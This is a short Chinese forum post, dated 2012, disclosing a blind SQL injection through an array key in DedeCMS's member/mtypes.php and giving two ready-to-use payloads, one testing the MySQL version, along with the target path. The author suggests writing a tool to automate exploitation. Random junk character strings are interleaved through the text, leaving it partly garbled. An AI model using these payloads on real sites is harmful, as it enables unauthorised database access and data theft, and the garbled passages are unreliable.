需要magic_quotes_gpc = Off,所以说是鸡肋啊.% C5 y9 L7 Z# ?! U% D- X6 ~! y& c
7 t8 w& e* _$ j M) f& n# L
2 I/ G' X6 U: r# C9 P% f发生在数组key里的注射漏洞,有点意思.# [8 C# d- X% u* K5 C
% u/ W r) O2 L
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下! U+ f9 }! @' T1 t
. x& @9 w8 X R% z# R
http://www.xxx.com /dede/member/mtypes.php?dopost=save
; A- ~: D' R& J3 [1 ~
$ d- e7 V: \- Q/ j$ E' z O# vexploit:6 A5 C" I1 x0 L4 y7 p
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r# ~4 L# P. o. h
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r, ^9 \9 o6 q6 _% Z! e0 U
|
发表于 2012-12-20 08:08:09
收藏
支持
反对